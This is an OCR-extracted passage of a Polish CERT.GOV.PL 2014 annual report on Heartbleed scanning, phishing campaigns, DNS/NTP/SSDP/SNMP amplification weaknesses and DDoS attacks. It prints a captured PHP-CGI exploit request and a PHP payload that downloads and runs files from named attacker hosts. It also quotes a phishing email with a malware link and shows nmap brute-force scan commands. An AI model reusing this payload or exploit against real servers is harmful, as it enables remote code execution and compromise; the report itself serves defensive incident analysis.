System ARAKIS-GOV w pierwszych dniach po opublikowaniu informacji na temat powyzszej
luki zarejestrowat wzrost aktywnosci na portach TCP, zwigzanych z ustugami, ktére
najczesciej wykorzystujg biblioteke OpenSSL: 443 (HTTPS), 465 (SMTPS), 993 (IMAP), 995
(POP3):

docelowy port 443/TCP
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YAtak typu Man in the Middle — atak polegajacy na podstuchiwaniu i modyfikowaniu wiadomosci przesytanych
pomiedzy dwiema stronami bez ich wiedzy.
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W lipcu 2014 roku system ARAKIS-GOV odnotowat wzrost aktywnosci na porcie 80/TCP
wynikajacy z procesu skanowania w poszukiwaniu serwerow WWW podatnych na bfad
w silniku PHP wykryty w 2012 roku (CVE-2012-1823). Na podstawie analizy danych
z systemdéw honeypot-owych dziatajgcych w ramach sensoréw ARAKIS-GOV zidentyfikowano

zgdania POST HTTP:

POST /cgi-bin/php5-

€gi%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F %6E+%2D%64+%
73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6
D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74
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%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72 %3 D%6E%6F%6E%
65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F
%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%7
4%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65
%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E %66 %
6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F %66 %69%6C%65%3D%70%68%7
0%3A%2F%2F%69%6E%70%75%74+%2D%6E

ktére po zdekodowaniu wygladajg nastepujaco:

POST /cgi-bin/php5-cgi -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d
disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d
cgi.redirect_status_env="yes" -d cgi.fix_pathinfo=1 -d auto_prepend_file=php://input -n-d
allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d
open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env="yes"
-d cgi.fix_pathinfo=1 -d auto_prepend_file=php://input -n

Powyzsze zgdanie pozwala atakujgcemu na zdalne wykonanie kodu ztosliwego (przesytanego
jako dane w przedmiotowym zgdaniu) na podatnym serwerze WWW. W ramach
zaobserwowanego zgdania ztosliwy skrypt, ktory miat zosta¢ wykonany na serwerze wygladat
nastepujgco:

<?php

Stmp = sys_get_temp_dir();

Spath = getcwd();

Sfile = "gimp.html";

Surl = "http://elevenllroot.servepics.com";
system("wget Surl -P - -0" . Stmp . "/gimp.html");
system("chmod -R 777" . Stmp ."/gimp.html");
chmod (Stmp."/".Sfile,0777);

system(Stmp . "/gimp.html");

Sfile2 = "gimp.html";

Surl2 = "http://twelfel2root.servepics.com";
system("wget Surl2 -P - -0" . Stmp . "/gimp.htm!");
system("chmod -R 777" . Stmp ."/gimp.html");
chmod (Stmp."/".Sfile2,0777);

system(Stmp . "/gimp.html");

echo Stmp;

echo Spath;

die(Stmp);

>

Powyzszy skrypt odpowiedzialny byt za pobranie pliku ,gimp.html” z zewnetrznych
serwerdw, zapisanie go w katalogu tymczasowym serwera WWW, zmiane uprawnien pliku
i uruchomienie go w powtoce systemowej serwera.

Analizujgc okoto 17000 zgdan tego typu odnotowanych przez system ARAKIS-GOV w okresie
19-21 lipca 2014 roku stwierdzono wykorzystanie 4 réznych domen, z ktérych pobierane

miaty by¢ przez skrypt pliki ,,gimp.html”, ,pimp.html”, ,e.html”, ,,excel.html”, ,index.html”:

22/58 " ® §E §E E E E E E E E ©® CERT.GOV.PL



elevenllroot.servepics.com
twelfel2root.servepics.com
jappyupdate.servehttp.com
linuxupdatejappy.servepics.com

Zespot CERT.GOV.PL przeprowadzit kampanie informacyjno-prewencyjng, w ramach ktorej
wystat do instytucji administracji panstwowe] kilkaset informacji o serwerach WWW
wykorzystujgcych podatng wersje oprogramowania OpenSSL oraz wydat zalecenia
natychmiastowej aktualizacji oprogramowania OpenSSL na serwerach do wersji niepodatne;j
na atak. Najwiecej powiadomien zostato wystanych do instytucji skategoryzowanych jako
pozostate (37% wszystkich wystanych powiadomien) oraz urzedy (34%). We wszystkich
wykrytych przez Zespdét CERT.GOV.PL podatnych serwerach poprawiono konfiguracje.

B Stuzby porzadku publicznego
i wojsko
Instytut

7% ytuty
W Ministerstwa
10%

 Przemyst

Urzedy

MW Pozostate

Wykres 14. Wystane informacje o podatno$ci Heartbleed przez Zesp6t CERT.GOV.PL
2.4. Kampanie phishingowe

W 2014 roku Zespdt CERT.GOV.PL zarejestrowat 119 incydentdw typu inZynieria spoteczna,
co w porownaniu do roku ubiegtego stanowito wzrost o 350% (w 2013 roku
zarejestrowanych zostato 34 incydentéw bedacych sumg kategorii: inZynieria spoteczna,
Kradziez toZzsamosci, podszycie sie w tym Phishing). Ponizej zostat przedstawiony wykres
incydentéw typu inzynieria spofeczna zarejestrowanych w 2014 roku z podziatem
na miesigce.
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Wykres 15. llos¢ incydentdw klasy: inzynieria spoteczna zarejestrowanych w 2014 roku

Na powyzszym wykresie widoczny jest wzrost odnotowany w drugiej potowie 2014 roku,
ktory istotnie byt zwigzany ze wzrostem aktywnosci kampanii phishingowych. Nalezy jednak
zaznaczy¢, iz zgodnie z aktualnym katalogiem zagrozen Zespotu CERT.GOV.PL w kategorii
incydentdw inzynieria spoteczna znajdujg sie nie tylko incydenty zwigzane z atakami typu
phishing. Stad tez Zespdt CERT.GOV.PL wytonit w ramach incydentow tej kategorii
24 incydenty uznane, jako istotne kampanie phishingowe bedace atakami prowadzonymi
na szerokg skale, dotyczace m.in. administracji publicznej.

Przedmiotowe kampanie byly zwigzane z wiadomosciami wykorzystujgcymi techniki
inzynierii spotecznej, majgcych na celu wytudzenie danych wrazliwych za pos$rednictwem
wiadomosci e-mail lub spreparowanych stron internetowych, a takie infekcje
oprogramowaniem ztos$liwym naktaniajgc uzytkownika do skorzystania z zatacznika lub
odnosnika o charakterze ztosliwym. Kampanie kierowane m.in. do instytucji administracji
publicznej czesto wykorzystywaty wizerunek znanych firm, instytucji prowadzacych sprzedaz
w sieci Internet lub firm posredniczacych, jak np. firmy kurierskie, serwisy aukcyjne
czy rezerwacyjne, banki, operatorzy telekomunikacyijni.

W zwigzku z powyzszym w 2014 roku wykazano wzrost ilo$ci odnotowywanych przez Zespoét
CERT.GOV.PL kampanii phishingowych, ze szczegdlnym uwzglednieniem miesigca czerwca
i lipca. Na uwage zastuguje réwniez fakt, iz w pierwszej potowie roku przewazaty wiadomosci
probujgce nakfoni¢ uzytkownikéw do ujawnienia informacji wrazliwych za posrednictwem
wiadomosci e-mail lub specjalnie spreparowanych witryn internetowych. Natomiast
w drugiej potowie rozsytane wiadomosci w wiekszej ilosci zawieraty zatgczniki
o charakterze ztosliwym. W celu ukrycia szkodliwej tresci przed systemami detekcji
wykorzystywane byty zatgczniki w postaci archiwédw. Do infekcji oprogramowaniem
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ztosliwym, najczesciej stosowane byt jezyki skryptowe w postaci makr** w dokumentach

pakietu Microsoft Office lub Javascript w formacie PDF. Wykorzystywano rowniez pliki
wykonywalne o rozszerzeniu .scr™® lub .pif'*, imitujace wyzej wymienione dokumenty
tekstowe. Tytut oraz tres¢ przedmiotowych wiadomosci, wykorzystywaty wizerunek znanych
firm i instytucji, a w kilku przypadkach do tego stopnia, ze wiadomosci te nalezy uznac
za tudzgco podobne do rzeczywistych. Najczesciej temat wiadomosci wskazywat na odbior
przesytki, uregulowanie zobowigzan finansowych Iub prawnych, itp. W wiekszosci
przypadkéw wiadomosci byly rozsytane za pomocg sieci typu botnet, pojedynczych
skompromitowanych stacji lub serwerdw oraz automatéw wysytkowych. Adres nadawcy byt
sfatszowany lub generowany a dopiero analiza petnych nagtéwkéw pocztowych pozwalata na
ustalenie rzeczywistego zrodta.

Wiadomosci email zawierajace fatszywa aktualizacje BeSTi@

W dniu 20 marca 2014 roku, Zespdt CERT.GOV.PL uzyskat informacje o wiadomosciach e-mail
zawierajgcych fatszywg aktualizacje systemu BeSTi@ (system zarzadzania budzetem
jednostek Samorzadu Terytorialnego) w wers;ji 3.02.012.07%. Zgodnie z uzyskanymi
informacjami powyzsza korespondencja zostata rozestana do jednostek samorzadu
terytorialnego. Wiadomosci zawierajgce fatszywa aktualizacje wystane zostaty z adresu
pomoc@budzetjsf.pl, bedacego podobnym do adresu wykonawcy systemu —
pomoc@budzetjst.pl. Przedmiotowe e-maile rozsytane byty w dniu 17 marca 2014 roku. Nie
odnotowano aby wyzej wymienione wiadomosci byty wystane z innych adreséw. Ponizej
przyktadowa tres¢ wiadomosci (pisownia oryginalna):

Witamy,

Pragniemy poinformowac, iz dnia dzisiejszego zostata udostepniona nowa
aktualizacja do systemu BeSTi@ w wersji 3.02.012.07.

Aktualizacja usuwa btedy zwigzane z bezpieczeristwem bazy danych oraz
poprawia problem z podpisem elektronicznym sprawozdan.

Instalacja jest bardzo prosta i nie wymaga dodatkowej pomocy oraz czynnosci.
Ze wzgledu na znaczgce poprawki bezpieczenstwa aktualizacja nie jest
dostepna z menu programu BeSTia, nalezy przeprowadzié jg recznie.

Ponizszy plik “Bestia.3.02.012.07" nalezy zapisac na pulpicie lub w
innym miejscu a nastepnie go uruchomic co spowoduje zainstalowanie

> makro — kod zawierajacy zestaw rozkazéw wykonywanych przez okreslong aplikacje, w celu automatyzacji
pewnych czynnosci lub dokonywania zmian w dokumentach bez interakcji z uzytkownikiem.

B ser— pliki domyslnie kojarzone z wygaszaczem ekranu systemu Microsoft Windows (ang. Windows Screen
Saver ), moggce wykonac kazdy kod maszynowy Win32.

" .pif — (ang. Program Information File) pliki zawierajace informacje na temat programow.

> obowiazujacg wersja oprogramowania na dzieri 20.03.2014r. byta wersja 3.02.012.06
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uaktualnienia do systemu BeSTi@.
http://budzetjsf.pl/Update/BeSTia/Bestia.3.02.012.07.exe

Instalacja nie powinna zajg¢ wiecej niz minute.
Dziekujemy i przepraszamy za niedogodnosci

Sputnik Software
tel. 61 622 00 60
tel. 32722 1196

Po przeprowadzeniu analizy behawioralnej pliku ,Bestia.3.02.012.07.exe” o skrdcie
kryptograficznym MD5: 9bb03bb5af40d1202378f95a6485fba8, znajdujgcego sie
w odnos$niku przedmiotowej wiadomosci, ustalono, iz po jego uruchomieniu nawigzywana
byta komunikacja z adresem IP na porcie 81, a na stacji roboczej tworzone byty nastepujace
pliki:

C:\Documents and Settings\Administrator\Application Data\driver--grap.exe
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\ Windows.Inkinfo

W wyniku obstugi przedmiotowego incydentu, rozestano wiadomosci e-mail do Regionalnych
Izb Obrachunkowych (do ktérych m.in. system BeSTi@ jest kierowany) z informacjami
o e-mailach zawierajgcych fatszywa aktualizacje systemu oraz poproszono o przestanie
przedmiotowych ztosliwych wiadomosci wraz z nagtdwkami. W odpowiedzi od Urzedow
Gmin, do ktérych przystana zostata ztosliwa wiadomos¢, uzyskano informacje ze zadna
z instytucji nie uruchomita ztosliwego pliku zawartego w odnosniku.

Fatszywe wiadomosci — podszywanie sie pod Zaktad Ubezpieczen Spotecznych

Na poczatku drugiego kwartatu Zespdét CERT.GOV.PL obstugiwat incydent dotyczacy
rozestanych wiadomosci e-mail od nadawcy podszywajgcego sie pod Zaktad Ubezpieczen
Spotecznych, ktdre zawieraty zatgcznik ze ztosliwym oprogramowaniem. Przedmiotowa
wiadomos$é przygotowana zostata w sposdb majacy na celu przekonanie jej odbiorcéw,
iz rozestana zostata przez Zaktad Ubezpieczen Spotecznych o czym Swiadczy zaréwno uzyty
adres nadawcy tj. e.bok.zus.rozliczenia@prokonto.pl, temat wiadomosci Nadpfata
za Swiadczenia za 2013 r oraz tytut zatacznika Dokument Nadpfata.scr. Na podstawie
przeprowadzonej analizy ustalono, iz zatgcznik zostat skompilowany w oprogramowaniu ,,MS
Visual C++ v8.0” przy wykorzystaniu modutu ,, WINRAR.SFX”. Po uruchomieniu, skrypty
zaszyte w pliku wykazujg okresowg aktywnos¢ sieciowg w odstepach czasu wynoszgcych
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okoto 60 sekund. Zainfekowany plik wykazuje aktywnos¢ na porcie 3366 TCP (potaczenia

inicjowane sgz portu 1025). Przedmiotowa dystrybucja wiadomosci e-mail mogta miec
na celu okreslenie ilosci oraz grupy docelowej oséb, ktdre zainfekujg sie zatgczonym
ztosliwym oprogramowaniem. Na przedmiotowy fakt, w chwili analizy, mégt wskazywaé brak
komunikacji zwrotnej z serwera, z ktérym oprogramowanie ztosliwe nawigzywato potaczenia.

powrot LAV [ LA | spam | Usuii | Wiecej ~ =i

Przesytamy w zataczniku dokument z nadptatg §

e.bolczus.rozliczenia | L Pokaibisiorz | do

Od:Inspektorat ZUS Rozliczenia

Temat: Nadplata za Swiadczenia za 2013r

Przesylamy w Zatgczniku Dokument z Nadptatg za Swiadczenia za 2013r
Kwota nadplaty do zwrotu wynosi 318.56z

Bardzo prosze o zapoznanie sig z dokumentem .

Po zapoznaniu sig z dokumentem prosimy

wydrukowac¢ dokument i skierowac sig do najblizszego

Oddziatu ZUS wraz z dowodem oscbistym celem wyptaty paristwu Wyzej wymienionej kwoty.

Doradca dfs Rozliczen

Karolina Storzyriska

r Dokument Nadplata.scr
? ME

Fatszywe wiadomosci - podszywanie sie pod Poczte Polska

W lipcu 2014 roku Zespdt CERT.GOV.PL zaobserwowat kampanie phishingowa, ktéra byta
skierowana do instytucji administracji publicznej, ale takze do sektora prywatnego.
Rozsytane byty wiadomosci e-mail od nadawcéw, podszywajgcych sie pod Poczte Polskg,
informujgcych o koniecznosci odbioru przesytki kurierskiej. Wiadomosci zostaty wystane
z adresu informacja@poczta-polska.pl i byty zatytutowane: Poczta Polska S.A. eINFO. Ponizej
przedstawiono tres¢ przedmiotowej wiadomosci (pisownia oryginalna):

Szanowny Kliencie,

Przesylka kurierska Przesylka Nr: 0015900845296116015 Kwota pobrania: 142,80 zl
Oczekuje na odbior do 2014-07-25
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- aby wyswietlic informacje o usludze:

http://www.poczta-polska.pl

Ta wiadomosc zostala wygenerowana automatycznie, prosimy na nia
nie odpowiadac.

Z powazaniem,

Poczta Polska

Codziennie dla Ciebie

W wyniku wykonanej analizy stwierdzono, ze:

= w zatgczniku wiadomosci pocztowej znajdowat sie plik pdf.zip, ktéry zawierat wirusa
typu kon trojanski — Asprox.B;

= adresy hostow nadawczych byty losowe;

= adresem nadawcy zawsze byt adres informacja@poczta-polska.pl. Adres ten jest
oficjalnym adresem wysytki powiadomien.

W dniu 25 lipca 2014 roku Zespot CERT.GOV.PL zamiescit na portalu www.cert.gov.pl
ostrzezenie o fatszywych wiadomosciach wysytanych do administracji publicznej zalecajac
zachowanie szczegdlnej ostroznosci oraz zweryfikowanie ich autentycznosci, a takze
niepodejmowanie dziatan mogacych skutkowac skorzystaniem z zawartych odnosnikdow
i zatgcznikdw.

Réwniez Poczta Polska na swojej witrynie internetowej www.poczta-polska.pl ® zamiescita
informacje z ostrzezeniem o przedmiotowych wiadomosciach:

Uwaga na fatszywe maile

Szanowni Panstwo, dzis od rana ktos podszywajacy sie pod Poczte Polska rozsyta maile do
klientow informujac o koniecznosci odbioru przesytki kurierskiej. Informacje te nie zostaty
nadane przez Poczte Polska.

Prosimy o zwrdcenie szczegdlnej uwagi na numer przesytki zawarty w mailach.
Korespondencja od Poczty Polskiej zawiera numery przesytek 13 znakowe lub 20 cyfrowe.
Dodatkowo maile spoza sieci Poczty Polskiej nie zawierajg informacji adresowych
dotyczacych placowki, w ktdrej nalezy odbiera¢ przesytke. Nie zawierajg takze polskich

16 . . . .
www.poczta-polska.pl/uwaga-na-numery-przesylek-w-powiadomieniach-e-mail

28 /58 " §E §E ®E B ®BE ®E E ®E ®§E =E &~ CERT.GOV.PL



znakow.

Prosimy o uwazne sprawdzenie oraz ignorowanie maili z btednym numerem przesytki
i brakiem adresu placowki pocztowej, a takze nie otwieranie zatgcznikow, ktére moga
zawiera¢ oprogramowanie wirusowe. Poczta Polska podjeta odpowiednie dziatania
wyjasniajace w tej sprawie.

2.5. Podatnosci

Open DNS Resolver (Domain Name System)

W 2014 roku Zespdt CERT.GOV.PL kontynuowat dziatania zwigzane z podatnosciami
serwerow DNS znajdujgcych sie w przestrzeni adresowej instytucji administracji panstwowej.
Nalezy przypomnieé, ze w zwigzku z btedng konfiguracjg (brak ograniczenia korzystania
z serwera do zaufanych adreséw IP), serwery pozwalajg na wykonanie zapytania DNS
o dowolng domene, z dowolnego adresu IP z sieci Internet. Wektor ataku przedstawia sie
nastepujgco:

Cel otrzymuje odpowiedzi
Atakujacy wysyta Serwery DNS otrzymuja od serweréw DNS,
zapytanie do serwerow zapytania i wysytajg co w efekcie powoduje
DNS, podmieniajac adres odpowiedzi na adres IP wystanie do niego duzej
zrédtowy na adres IP celu celu liczby pakietow
i wysycenie facza

Rysunek 1. Scenariusz ataku z wykorzystaniem podatnosci DNS

Podatnos¢ ta moze byé wykorzystana do przeprowadzenia ataku ze zwielokrotnieniem (ang.
amplification attack), ktéry jest jedng z odmian ataku Distributed Denial of Service (DDoS).
Jednym ze sposobdw na przeprowadzenie ataku jest wysytanie do powszechnie dostepnego
serwera DNS zapytan DNS lookup ze zmodyfikowanym (podmienionym) adresem
zréodtowym, ustawionym na adres IP celu. W wyniku powyzszego, wszystkie odpowiedzi
kierowane do serwera DNS, sg przesytane na adres IP celu, co w rezultacie powoduje
wystanie do niego ogromnej liczby pakietéw. Na rysunkach 2 i 3 przedstawiono kolejno:
odpowiedZ od serwera DNS wykazujgcego podatnos¢ i odpowiedZz od poprawnie
skonfigurowanego serwera DNS.
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lags:; udp:

bash-4.

bash-4.

<<>> g
+cmd

rsion redgu

Rysunek 3. Odpowiedz otrzymana od poprawnie skonfigurowanego serwera DNS

Zespot CERT.GOV.PL, w przeciggu roku 2014 wystat do instytucji administracji panstwowej
4683 informacje o podatnosci serweréw DNS, czyli o 33 informacje mniej niz w roku
poprzednim. Zostato wystanych niemal pieciokrotnie mniej powiadomien do instytucji
skategoryzowanych jako stuzby porzqdku publicznego i wojsko niz w roku poprzednim (2013
— 1532 powiadomienia, 2014 — 317 powiadomien), co pokazuje, ze dziatania podejmowane
przez Zespot CERT.GOV.PL przynoszg wymierne efekty w sferze podnoszenia bezpieczenstwa
teleinformatycznego instytucji panstwowych. Najwiecej powiadomien zostato przekazanych
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do instytucji skategoryzowanych jako przemyst (57% wszystkich wystanych powiadomien)
oraz urzedy (19%).

1%
Przemyst m M Instytuty

urzedy [ 878

H Ministerstwa

Stuzby porzadku
Pozostate
- 628 publicznego i
1uzb dk wojsko
stuz Yporzq 'u M Pozostate
publicznego i
. 317
wojsko
Urzedy
Ministerstwa I 134
M Przemyst
Instytuty | 48
Wykres 16. llos¢ wystanych informacji Wykres 17. Udziat procentowy typow instytucji

o podatnosci DNS do ilosci wystanych zgloszen

Open NTP (Network Time Protocol)

W 2014 roku Zespo6t CERT.GOV.PL zaobserwowat podatnosci serwerdw NTP znajdujgcych sie
w przestrzeni adresowej instytucji administracji panstwowej, pozwalajgcych na wykonanie
dowolnego zapytania NTP z dowolnego adresu IP z sieci Internet. Ustuga NTP, ktdra
domyslnie dziata na porcie 123, pozwala na synchronizacje czasu pomiedzy urzadzeniami
podtgczonymi do sieci Internet.
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Cel otrzymuje odpowiedzi
Atakujacy wysyta Serwery NTP otrzymujg od serwerdow NTP,
zapytanie do serwerow zapytania i wysytajg co w efekcie powoduje
NTP, podmieniajgc adres odpowiedzi na adres IP wystanie do niego duzej
Zzrédtowy na adres IP celu celu liczby pakietéw
i wysycenie tgcza

Rysunek 4. Scenariusz ataku z wykorzystaniem podatnosci NTP

Podatnos$¢ ta moze by¢ wykorzystana do przeprowadzenia ataku ze zwielokrotnieniem (ang.
amplification attack), ktory jest jedng z odmian ataku Distributed Denial of Service (DDoS).
Mechanizm ataku z wykorzystaniem serwera NTP jest blizniaczy do mechanizmu ataku
z wykorzystaniem serwera DNS - atakujgcy kieruje do powszechnie dostepnego serwera NTP
zapytania NTP ze zmodyfikowanym (podmienionym) adresem zrédtowym, ustawionym na
adres IP celu. W wyniku powyzszego, wszystkie odpowiedzi kierowane do serwera NTP, sg
przesytane na adres IP celu, co w rezultacie powoduje wystanie do niego ogromnej liczby
pakietdw. Na rysunkach 5 i 6 przedstawiono kolejno: odpowiedZ? od serwera NTP
wykazujgcego podatnosc i odpowiedz od poprawnie skonfigurowanego serwera NTP.

Rysunek 6. Odpowiedz otrzymana od poprawnie skonfigurowanego serwera NTP
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Zabezpieczenie serwera $wiadczgcego ustuge NTP jest mozliwe np. poprzez permanentne
wyfgczenie ustugi lub ograniczenie mozliwosci synchronizacji czasu wytgcznie do zaufanych
adresow IP. Nalezy przy tym jednak zaznaczyé, ze w przypadku poprawnie zabezpieczonego
serwera NTP nie powinien on odwotywac sie do innych serweréw NTP (parametr refid),
poniewaz w razie ewentualnego ataku, taka konfiguracja spowoduje, ze serwer bedzie
posredniczyt w ruchu.

W 2014 roku Zespdt CERT.GOV.PL wystat do instytucji administracji panstwowej 8106
informacji o podatnosci serwerow NTP. Najwiecej powiadomien zostato przekazanych do
instytucji skategoryzowanych jako urzedy (32% wszystkich wystanych powiadomien),
pozostate (23%) oraz przemyst (22%).

Urzedy
M Instytuty
Pozostate
Ministerstwa
Przemyst
y W Stuzby porzadku
publicznego i
Stuzby porzadku wojsko
publicznego i wojsko W Przemyst
Ministerstwa Pozostate
Instytuty H Urzedy
Wykres 18. llo$¢ wystanych informacji Wykres 19. Udziat procentowy typow instytucji
o podatnosci NTP do ilosci wystanych zgtoszen

SSDP (Simple Service Discovery Protocol)

Zaobserwowane podatnosci protokotu SSDP pozwalajg na specjalne spreparowanie
i wystanie do urzgdzen sieciowych zapytan typu NOTIFY i M-SEARCH. Protokdt SSDP, ktory
domyslnie dziata na porcie 1900, jest czescig protokotu UPnP i pozwala urzgadzeniom
sieciowym na fatwe odnajdywanie sie i ustanawianie ustug stuzgcych m.in. do wymiany
danych lub komunikacji.
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Cel otrzymuje

AR TG R odpowiedzi od
Atakujacy skanuje NI Lz ez urzadzen
sie¢ celem Wi EIEA R (U5 SIEEIE sieciowych
uzyskania listy AUl d’o CI T cow efekci’e
ekt urzadzen zapytania i powoduje
urzadzen Sz, AR wystanie do niego
o podmieniajgc odpowiedzi na s ey
adres zrédtowy na adres IP celu el

adres IP celu

i wysycenie tgcza

Rysunek 7. Scenariusz ataku z wykorzystaniem podatnosci SSDP

Podatnos$¢ ta moze by¢ wykorzystana do przeprowadzenia ataku ze zwielokrotnieniem (ang.
amplification attack), ktory jest jedng z odmian ataku Distributed Denial of Service (DDoS).
Mechanizm ataku z wykorzystaniem protokotu SSDP skfada sie z dwéch etapdw — etapu
skanowania sieci w poszukiwaniu podatnych urzgdzen sieciowych i etapu ataku. Etap
pierwszy polega na spreparowaniu zapytan M-SEARCH lub NOTIFY i wystaniu ich na jak
najwiekszg ilos¢ adreséw IP, znajdujacych sie w danej puli adresowej celem zebrania listy
adresdw |P urzadzen sieciowych, ktére moze wykorzysta¢ w ataku (podatne urzadzenia
odpowiadajg zadaniem typu HTTP M-SEARCH zawierajgcym lokalizacje pliku z opisem
urzgdzenia). Etap drugi przebiega w sposéb identyczny jak ataki wykorzystujgce podatnosci
Open DNS Resolver oraz Open NTP.

Na rysunkach 8 i 9 przedstawiono kolejno: przyktad adresu IP wykazujgcego podatnosc
i przyktad poprawnie zabezpieczonego przed podatnoscig adresu IP.

root@linux:~# mmap -sU -Pn -p
Ol ( http://nmap.org )

for
S ¢

Rysunek 8. Przyktad adresu IP wykazujgcego podatnosc SSDP
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root@linux:

* address (1 host up) scanned in B.06 s

Rysunek 9. Przyktad poprawnie zabezpieczonego przed podatnoscig SSDP adresu IP

Zabezpieczenie urzadzen sieciowych przed opisang powyzej podatnoscig jest mozliwe
poprzez np. permanentne wytgczenie ustugi lub ograniczenie komunikacji wytgcznie do
zaufanych adreséw IP. W 2014 roku Zespot CERT.GOV.PL wystat do instytucji administracji
panstwowej 1423 informacji o podatnosci SSDP. Najwiecej powiadomien zostato wystanych
do instytucji skategoryzowanych jako przemyst (40% wszystkich wystanych powiadomien),
urzedy (29%) oraz stuzby porzgdku publicznego i wojsko (26%). Nalezy jednak zaznaczyé¢, ze
w 0gdllnym rozrachunku blisko 92% wszystkich wystanych powiadomien zostato
skierowanych do okoto 27% instytucji, ktérych dotyczyta podatnos¢ SSDP.

M Pozostate

26% B Stuzby
Urzedy - 422 porzadku
publicznego
i wojsko
Stuzby porzadku Urzedy
publicznego i - 366
wojsko
Przemyst
Pozostate F 67
Wykres 20. llos¢ wystanych informacji Wykres 21. Udziat procentowy typdw instytucji
o podatnosci SSDP do ilosci wystanych zgtoszen
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SNMP (Simple Network Management Protocol)

Zaobserwowane podatnosci pozwalajg na specjalne spreparowanie i wystanie do urzgdzen
sieciowych zapytan typu GetBulk. Protokdt SNMP, ktéry domysinie dziata na porcie 161, jest
powszechnie wykorzystywany do zarzadzania urzadzeniami sieciowymi posiadajgcymi
wtasny adres IP.

Cel otrzymuje
odpowiedzi od

. . Atakujacy wysyta Urzadzenia ,
Atakyqucy LA zapytania GetBulk sieciowe .urz'adzen
sie¢ celem 5 . sieciowych,
- do urzadzen otrzymuja .
uzyskania listy . S co w efekcie
sieciowych, zapytania i ;
podatnych . . powoduje
, podmieniajgc wysytajg . .
urzadzen - N wystanie do niego
S adres zrédtowy na odpowiedzi na .
sieciowych duzej liczby
adres IP celu adres IP celu .
pakietéw

i wysycenie tgcza

Rysunek 10. Scenariusz ataku z wykorzystaniem podatno$ci SNMP

Podatnos$¢ ta moze by¢ wykorzystana do przeprowadzenia ataku ze zwielokrotnieniem (ang.
amplification attack), ktory jest jedng z odmian ataku Distributed Denial of Service (DDoS).
Mechanizm ataku z wykorzystaniem protokotu SNMP, podobnie jak SSDP, sktada sie z dwdch
etapow — etapu skanowania sieci w poszukiwaniu podatnych urzadzen sieciowych i etapu
ataku. Oba etapy przebiegajg w sposdb identyczny jak ataki wykorzystujgce podatnos¢ SSDP
z tg réznicy, ze do urzadzen sieciowych zamiast zapytan typu M-SEARCH lub NOTIFY sg
kierowane zapytania typu GetBulk.

Na rysunkach 11 i 12 przedstawiono kolejno: przyktad adresu IP wykazujgcego podatnosc
i przyktad poprawnie zabezpieczonego przed podatnoscig adresu IP.

@linux:~# nmap -sU -Pn -p 161 --script=snmp-brute adres IP

at 2015-01-13 13:54 CET
adres IP )

Fi

Salule}

- Valid credentials

1 IP addrs (1 host up) scanned in 0./

~fF I

Rysunek 11. Przyktad adresu IP wykazujacego podatnosc¢ SSDP
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root@Llinux:~# nmap -sU -Pn -p 161 --script=snmp-brute adres IP

6.01 ( http

rt for

Rysunek 12. Przyktad poprawnie zabezpieczonego przed podatnoscig SSDP adresu IP

Zabezpieczenie urzadzen sieciowych przed opisang powyzej podatnoscig jest mozliwe
poprzez np. permanentne wytgczenie ustugi lub ograniczenie komunikacji wytgcznie do
zaufanych adreséw IP.

Zespot CERT.GOV.PL, w ciggu poprzedniego roku wystat do instytucji administracji
panstwowej 2615 informacji o podatnosci SNMP. Najwiecej powiadomien zostato wystanych
do instytucji skategoryzowanych jako pozostate (31% wszystkich wystanych powiadomien),
stuzby porzgdku publicznego i wojsko (23%) oraz przemyst (21%).

M Ministerstwa

Pozostate
Stuzby porzadku Instytuty
publicznego i wojsko
Przemyst B Urzedy
Urzedy B Przemyst
Instytuty Stuzby porzadk
publicznego i
wojsko

Ministerstwa MW Pozostate

Wykres 22. llos¢ wystanych informacji

Wykres 23. Udziat procentowy typow instytucji
o podatnosci SSDP y p y typ ytucj

do ilosci wystanych zgtoszen
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2.6. DDoS (Distributed Denial of Service)

W dniach 14-17 sierpnia 2014 roku przeprowadzono ataki DDoS na strony internetowe
www.prezydent.pl oraz www.gpw.pl, a takze na niektdre witryny instytucji administracji
panstwowej. Do wspomnianych atakdéw przyznata sie na swojej stronie grupa
przedstawiajgca sie jako ,, CyberBerkut” podajgc jako powdd atakéw rzekome zaangazowanie
Polski w konflikt zwigzany z sytuacjg na Ukrainie.

Zanotowane ataki byty potaczeniem ataku typu SYN FLOOD i ataku wolumetrycznego.
Podstawg ataku SYN FLOOD jest wysytanie duzej ilosci zapytan synchronizacji (SYN) do
serwera celem wysycenia zasobdéw jakimi on dysponuje. W momencie otrzymania zgdania
synchronizacji, serwer wysyta ,potwierdzenie” swojej dostepnosci poprzez wystanie pakietu
SYN-ACK i oczekuje na odpowiedz ACK, ktdra zazwyczaj nigdy nie nadejdzie. Podstawg ataku
wolumetrycznego jest wysycenie zasobdw serwera poprzez wysytanie na adres celu ataku
ogromne;j liczby pakietéw w krétkim czasie.

Zespot CERT.GOV.PL udzielit wsparcia atakowanym instytucjom w celu jak najszybszego
przywrdcenia dostepnosci witryn.

W zwigzku z zaistniata sytuacjg, Zespdt CERT.GOV.PL przekazat instytucjom zalecenia
zmierzajgce do podniesienia zdolnosci odparcia atakéw DDoS. Dokonana zostata réwniez, na
podstawie danych deklaratywnych, analiza stanu bezpieczenstwa serwerdw hostujgcych
strony WWW, nalezgce do kilkudziesieciu gtéwnych instytucji administracji panstwowej.
